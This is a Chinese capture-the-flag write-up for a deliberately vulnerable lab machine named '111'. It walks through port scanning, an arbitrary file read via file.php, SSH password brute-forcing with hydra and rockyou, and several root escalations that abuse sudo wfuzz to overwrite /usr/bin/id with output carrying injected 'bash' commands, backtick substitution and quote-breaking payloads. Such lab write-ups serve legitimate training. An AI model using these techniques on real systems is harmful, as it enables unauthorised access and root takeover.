

靶机信息

靶机名称: 111

靶机作者: ll104567/群主

靶机类型: Linux

难度: baby-hard

来源: MazeSec/QQ内部群 660930334

官网: <https://maze-sec.com/>

这是一台伪装为 baby 难度的 hard 靶机, root shell 才是终点。

哈哈群主以我的 id 构建了一台群友 id 系列的靶机, 酷!

存活主机发现与 ARP 扫描

使用 arp-scan 扫描内网存活主机:

```
—(npc㉿kali)-[~/test1]
└$ sudo arp-scan -I eth2 192.168.6.0/24

192.168.6.215 08:00:27:5c:0a:80      PCS Systemtechnik GmbH
```

目标主机 IP: 192.168.6.215

端口扫描

使用 nmap 进行 TCP 全端口扫描:

```
—(npc㉿kali)-[~/test1]
└$ nmap 192.168.6.215 -p- -sT -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
53/tcp    open  domain   (generic dns response: NOTIMP)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
```

发现开放了 22/ssh、53/dns、80/http 三个端口。

80 端口服务探测

访问 80 端口, 发现是一个 rockyou 字典的介绍页

Rockyou.txt

世界上最著名的密码字典文件 - 安全研究者的重要工具

14M+ 密码数量	134MB 文件大小	913 泄露年份	9M+ 受影响用户
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什么是 Rockyou.txt?

Rockyou.txt 是一个包含超过1400万个实际密码的文本文件，最初来源于2009年社交应用网站RockYou的数据泄露事件。这个文件已成为安全研究人员、渗透测试人员和黑客进行密码安全测试的行业标准字典。

注意：这个文件包含真实用户的实际密码，因此具有极高的安全研究价值。它常被用于测试密码强度、评估系统安全性和进行合法的渗透测试。

历史背景

2009年
RockYou数据泄露
社交应用平台RockYou遭遇严重数据泄露，超过3200万用户的明文密码被公开。

尝试 dirsearch 进行目录扫描

```
—(npc㉿kali)-[~/test1]
└$ dirsearch -u http://192.168.6.215
[22:56:40] 200 - 0B - /file.php
```

发现了一个 file.php 页面，页面大小为 0 字节

尝试使用 文件相关参数手动探测

在使用 `file.php?file=/etc/passwd` 时，发现页面返回了 `/etc/passwd` 的内容，说明存在任意文件读取漏洞，并且存在具有登录 shell 的用户 tao

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:daemon:/usr/sbin/nologin bin:x:2:bin:/bin:/usr/sbin/nologin sys:x:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lpx:7:lp:/var/spool/lpd:/usr/sbin/nologin mailx:x:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GNats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/noneexistent:/usr/sbin/nologin _apt:x:100:65534:/noneexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-networkx:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin messagebus:x:104:110:/noneexistent:/usr/sbin/nologin
sshd:x:105:65534:/run/sshd:/usr/sbin/nologin tao:x:1000:1000,,,:/home/tao:/bin/bash
```

元素 控制台 源代码/来源 网络 性能 内存 应用 Lighthouse AdBlock HackBar

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF SSTI SHELL ENCODING HAS

URL
http://192.168.6.215/file.php?file=/etc/passwd

Use POST method MODIFY HEADER

爆破 SSH 登录

使用 hydra 爆破 ssh 登录，用户名使用 tao，密码使用 rockyou 字典，很快就拿到了 tao 用户的密码 rockyou

```
—(npc㉿kali)-[~/test1]
└$ hydra -l tao -P /usr/share/wordlists/rockyou.txt -s 22 ssh://192.168.6.215 -t
4 -v -I -e nsr

[22][ssh] host: 192.168.6.215 login: tao password: rockyou
```

```

└─(npc㉿kali)-[~/test1]
$ hydra -l tao -P /usr/share/wordlists/rockyou.txt -s 22 ssh://192.168.6.215 -t 4 -v -I -e nsr
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations.
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-07 23:01:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344402 login tries (l:1/p:14344402), ~3586101 tries per task
[DATA] attacking ssh://192.168.6.215:22
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://tao@192.168.6.215:22
[INFO] Successful, password authentication is supported by ssh://192.168.6.215:22
[22][ssh] host: 192.168.6.215 login: tao password: rockyou
[STATUS] attack finished for 192.168.6.215 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-07 23:01:34

```

SSH 用户信息

tao:rockyou

读取 root flag

用户 tao 具有两条 sudo 权限：

```

tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
    (ALL) NOPASSWD: /usr/bin/wfuzz
    (ALL) NOPASSWD: /usr/bin/id

```

```

tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
    (ALL) NOPASSWD: /usr/bin/wfuzz
    (ALL) NOPASSWD: /usr/bin/id
tao@111:~$ 

```

先说简单的 root flag 读取方案

使用 sudo 执行 wfuzz 扫描一个可控的 web 服务，把目标文件作为字典来扫描可控的 web 服务，从而读取目标文件内容

```

tao@111:~$ sudo wfuzz -w /root/root.txt -u http://192.168.6.101/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against OpenSSL. wfuzz might not work correctly when fuzzing SSL sites.
Check wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://192.168.6.101/FUZZ
Total requests: 1

=====
ID      Response  Lines   Word     Chars     Payload
=====
```

```
000000001: 404      13 L      32 W      335 Ch      "flag{root-9bbd7af2a042a901b92dc203b3896621}"
```

```
Total time: 0  
Processed Requests: 1  
Filtered Requests: 0  
Requests/sec.: 0
```

```
tao@111:~$ sudo wfuzz -w /root/root.txt -u http://192.168.6.101/FUZZ  
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz  
uses. Check Wfuzz's documentation for more information.  
*****  
* Wfuzz 3.1.0 - The Web Fuzzer  
*****  
  
Target: http://192.168.6.101/FUZZ  
Total requests: 1  
  
=====  
ID      Response   Lines   Word     Chars    Payload  
=====  
000000001: 404      13 L      32 W      335 Ch      "flag{root-9bbd7af2a042a901b92dc203b3896621}"  
  
Total time: 0  
Processed Requests: 1  
Filtered Requests: 0  
Requests/sec.: 0
```

鸡系鸡系，下面才是精彩的提权部分

wfuzz 写入内容研究

wfuzz 的 `-h` 帮助信息靶机比较简练，使用 `--help` 查看完整帮助信息

```
Usage: wfuzz [options] -z payload,params <url>  
  
FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.  
FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for fi  
  
Options:  
-h/--help          : This help  
--help             : Advanced help  
--filter-help     : Filter language specification  
--version          : Wfuzz version details  
-e <type>         : List of available encoders/payloads/iterators/printers/scripts  
  
--recipe <filename>       : Reads options from a recipe. Repeat for various recipes.  
--dump-recipe <filename>  : Prints current options as a recipe  
--oF <filename>          : Saves fuzz results to a file. These can be consumed later using the wfuzz payload.  
  
-c                 : Output with colors  
-v                 : Verbose information.  
-f filename,printer  : Store results in the output file using the specified printer (raw printer if omitted).  
-o printer          : Show results using the specified printer.  
--interact          : (beta) If selected, all key presses are captured. This allows you to interact with the program.  
--dry-run           : Print the results of applying the requests without actually making any HTTP request.  
--prev              : Print the previous HTTP requests (only when using payloads generating fuzzresults)  
--efield <expr>        : Show the specified language expression together with the current payload. Repeat for various fields.  
--field <expr>         : Do not show the payload but only the specified language expression. Repeat for various fields.
```

重点在于 `-f` 参数，把扫描结果写入到输出文件里

下面以读取 root flag 时的流程与日志作为展示

```

tao@111:~$ sudo wfuzz -w /root/root.txt -f 1.txt -u http://192.168.6.101/FUZZ
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against OpenSSL. Wfuzz might not work
ites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****


Target: http://192.168.6.101/FUZZ
Total requests: 1

=====
ID      Response   Lines   Word     Chars   Payload
=====

00000001:  404       13 L    32 W    335 Ch    "flag{root-9bbd7af2a042a901b92dc203b3896621}"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

```

这里便是写入的日志内容，重点放在这个日志内容上

```

tao@111:~$ cat 1.txt
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
ID      Response   Lines   Word     Chars   Request
=====
00001:  C=404     13 L    32 W    335 Ch    "flag{root-9bbd7af2a042a901b92dc203b3896621}"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ 

```

通过观察，可以发现两处可控点：

- 1、目标 URL
- 2、字典内容

```

tao@111:~$ cat 1.txt
Target: http://192.168.6.101/FUZZ ←
Total requests: 1
=====
ID      Response   Lines   Word     Chars   Request
=====
00001:  C=404     13 L    32 W    335 Ch    "flag{root-9bbd7af2a042a901b92dc203b3896621}" ↓

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ 

```

另外还有一种比较隐蔽的可控点，放最后讲，由此引出三种方案

方案一：111方案（换行符注入）

111方案：通过引号的闭合特性，即在命令行输入的引号不成对出现时直接回车，命令行会继续等待输入内容，直到闭合引号，因此可以在引号里构造出换行，从而向日志里写入可控内容

可行性测试：

```
tao@111:~$ sudo wfuzz -w /root/root.txt -f 1.txt -u 'http://192.168.6.101/FUZZ
> 1111 ←
> '
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against C
ites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****  
Target: http://192.168.6.101/FUZZ
1111 ←  
Total requests: 1  
=====  
ID      Response   Lines   Word    Chars   Payload  
=====  
GET /flag{root-9bbd7af2a042a901b92dc203b3896621}  
1111  
HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Wfuzz/3.1.0  
Host: 192.168.6.101
```

```
tao@111:~$ cat 1.txt
Target: http://192.168.6.101/FUZZ
1111 ←  
Total requests: 1  
=====  
ID      Response   Lines   Word    Chars   Request  
=====  
  
Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$
```

```
tao@111:~$ sudo wfuzz -w /root/root.txt -f 1.txt -u 'http://192.168.6.101/FUZZ
> 1111
> '
Target: http://192.168.6.101/FUZZ
1111  
  
tao@111:~$ cat 1.txt
Target: http://192.168.6.101/FUZZ
1111
```

成功写入了可控内容 1111，我们可以利用这个可控日志去覆写另一个 sudo 授权文件 `/usr/bin/id`

利用：

```
tao@111:~$ sudo wfuzz -w /root/root.txt -f /usr/bin/id -u
'http://192.168.6.101/FUZZ
bash
'
```

验证：

```
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
bash

Total requests: 1
=====
ID      Response    Lines      Word      Chars      Request
=====

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
root@111:/home/tao#
```

```
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
bash

tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
root@111:/home/tao#
```

这里发生了什么细节？或者利用了什么特性？

- 这个 id 文件是可执行文件
- 当 sudo/ shell 尝试执行一个非 ELF 且无 shebang 的可执行文本文件时，底层 execve 返回 ENOEXEC，调用方通常会退回用 /bin/sh（或其指定的 shell）来解释执行该文件
- shell 环境执行命令 按行（句）解析，一行失败不会阻止后续行执行（除非启用了 set -e 等）

什么是 shebang 行？在可执行文件第一行以 `#!` 开头的行，后面跟着解释器路径，比如 `#!/bin/bash`，表示用 /bin/bash 来解释执行该脚本文件

因此 sudo 执行 /usr/bin/id 时，会由 /bin/sh（或 sudo 指定的 shell）按行解释该文本；执行到包含 bash 的那一行时，启动了一个 root 权限的 bash，从而获得 root shell

方案二：垃圾堆方案

垃圾堆方案：在脏数据里找到可控点，尝试闭合、破坏原有结构（引号）达到命令注入，或者在不能闭合破坏原有结构下，找到 shell 特性利用点如命令替换

这里又可以引出两种小方案：

- 命令替换利用（shell 展开阶段）
- 双引号闭合利用（闭合原有结构）

命令替换利用（shell 展开阶段）

利用 bash 执行一行命令前，shell 会先做各种展开，其中包括命令替换会被先执行，其输出再回填到该位置，属于展开阶段，执行发生在真正运行命令之前

在双引号 " 里，真正能“提前执行命令”的，本质上只有「命令替换」，如 `cmd` 或 \$(cmd)

在 wfuzz 的输出文件中，对字典的内容添加了双引号

```
tao@111:~$ cat 1.txt
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
ID  Response  Lines   Word    Chars   Request
=====
00001: C=404     13 L     32 W     335 Ch   "flag{root-9bbd7af2a042a901b92dc203b3896621}"
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$
```

我们可以通过指定字典来控制双引号里的内容

利用：

```
tao@111:~$ echo '`bash`' > bash.txt
tao@111:~$ cat bash.txt
`bash`
tao@111:~$ sudo wfuzz -w bash.txt -f /usr/bin/id -u http://192.168.6.101/FUZZ
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
ID  Response  Lines   Word    Chars   Request
=====
00001: C=404     13 L     32 W     335 Ch   "`bash`"
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
```

验证：

```
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
ID  Response  Lines   Word    Chars   Request
=====
00001: C=404     13 L     32 W     335 Ch   "`bash`" ←
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: =====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: =====: not found
root@111:/home/tao#
```

这里发生了什么细节？或者利用了什么特性？

- 这个 id 文件是可执行文件
- 当 sudo/ shell 尝试执行一个非 ELF 且无 shebang 的可执行文本文件时，底层 execve 返回 ENOEXEC，调用方通常会退回用 /bin/sh（或其指定的 shell）来解释执行该文件。
- shell 环境执行命令 按行解析，shell 会先做各种展开，其中包括命令替换会被先执行，一行失败不会阻止后续行执行（除非启用了 set -e 等）

因此 sudo 执行 /usr/bin/id 时，会由 /bin/sh (或 sudo 指定的 shell) 按行解释该文本；执行到包含 bash 的那一行时，启动了一个 root 权限的 bash，从而获得 root shell

双引号闭合利用（闭合原有结构）

这里的双引号也是可以闭合的

```
tao@111:~$ echo '\"';bash;#' > bash.txt
tao@111:~$ cat bash.txt
\";bash;#
tao@111:~$ sudo wfuzz -w bash.txt -f /usr/bin/id -u http://192.168.6.101/FUZZ
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
ID      Response     Lines      Word      Chars      Request
=====
00001:  C=404        13 L       32 W       335 Ch      \"\";bash;#"
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
```

方案三：tao方案（路径解析利用）

tao 方案：如果一行的“命令”里，包含 /，shell 会把它当成一个路径去执行，只要该路径对应的文件存在且可执行，就会尝试运行它，可以在当前目录下（一个你可控的目录）构造出目录及可执行文件

同样以这个读取 root flag 日志作为演示：

```
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ ←
Total requests: 1
=====
ID      Response     Lines      Word      Chars      Request
=====
00001:  C=404        13 L       32 W       335 Ch      "flag{root-9bbd7af2a042a901b92dc203b3896621}"
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0 ←
tao@111:~$
```

图中出现了两次 / 字符，分别是目标主机 url `http://192.168.6.101/FUZZ` 和 `Requests/sec.: 0` 这一行

以利用 `Requests/sec.: 0` 这一行作为演示：

shell 会把 `Requests/sec.: 0` 视为命令路径，把 0 作为参数传入。我们创建 `Requests/sec.: 0` 这个可执行文件，内容为 `bash` 就好了

```
tao@111:~$ mkdir -p Requests
tao@111:~$ echo 'bash' > Requests/'sec.:'
tao@111:~$ chmod +x Requests/sec.\
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
```

ID	Response	Lines	Word	Chars	Request
00001:	C=404	13 L	32 W	335 Ch	"flag{root-9bbd7af2a042a901b92dc203b3896621}"
					Total time: 0
					Processed Requests: 1
					Filtered Requests: 0
					Requests/sec.: 0
					tao@111:~\$ sudo /usr/bin/id
					root@111:/home/tao#

```

tao@111:~$ mkdir -p Requests
tao@111:~$ echo 'bash' > Requests/'sec.:'
tao@111:~$ chmod +x Requests/sec.\
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
=====
ID      Response     Lines      Word      Chars      Request
=====
00001:  C=404       13 L       32 W       335 Ch     "flag{root-9bbd7af2a042a901b92dc203b3896621}"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: =====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: =====: not found
/usr/bin/id: 6: /usr/bin/id: 00001:: not found
/usr/bin/id: 8: /usr/bin/id: Total: not found
/usr/bin/id: 9: /usr/bin/id: Processed: not found
/usr/bin/id: 10: /usr/bin/id: Filtered: not found
root@111:/home/tao#

```

同样可以利用 `http://192.168.6.101/FUZZ` 这个目标 Url，需要注意的是，这个 URL 前面有了脏数据，控制一下这个 URL，前面构造一个分号，从而避开脏数据的影响：

ID	Response	Lines	Word	Chars	Request
00001:	C=404	13 L	32 W	335 Ch	"flag{root-9bbd7af2a042a901b92dc203b3896621}"
					Total time: 0
					Processed Requests: 1
					Filtered Requests: 0
					Requests/sec.: 0
					tao@111:~\$ sudo /usr/bin/id
					root@111:/home/tao#

```
tao@111:~$ mkdir -p http://192.168.6.101/
tao@111:~$ echo 'bash' > http://192.168.6.101/FUZZ
tao@111:~$ chmod +x http://192.168.6.101/FUZZ
tao@111:~$ sudo wfuzz -w bash.txt -f /usr/bin/id -u 'http://192.168.6.101/FUZZ'
/usr/lib/python3/dist-packages/wfuzz/_init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly w
ites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://;http://192.168.6.101/FUZZ ←
Total requests: 1

=====
ID      Response   Lines   Word     Chars     Payload
=====

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 6: Could not resolve host: ;http
tao@111:~$ cat /usr/bin/id
Target: http://;http://192.168.6.101/FUZZ
Total requests: 1
=====
ID      Response   Lines   Word     Chars     Request
=====
```

```
tao@111:~$ cat /usr/bin/id
Target: http://;http://192.168.6.101/FUZZ
Total requests: 1
=====
ID      Response   Lines   Word     Chars     Request
=====

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target::: not found
root@111:/home/tao#
```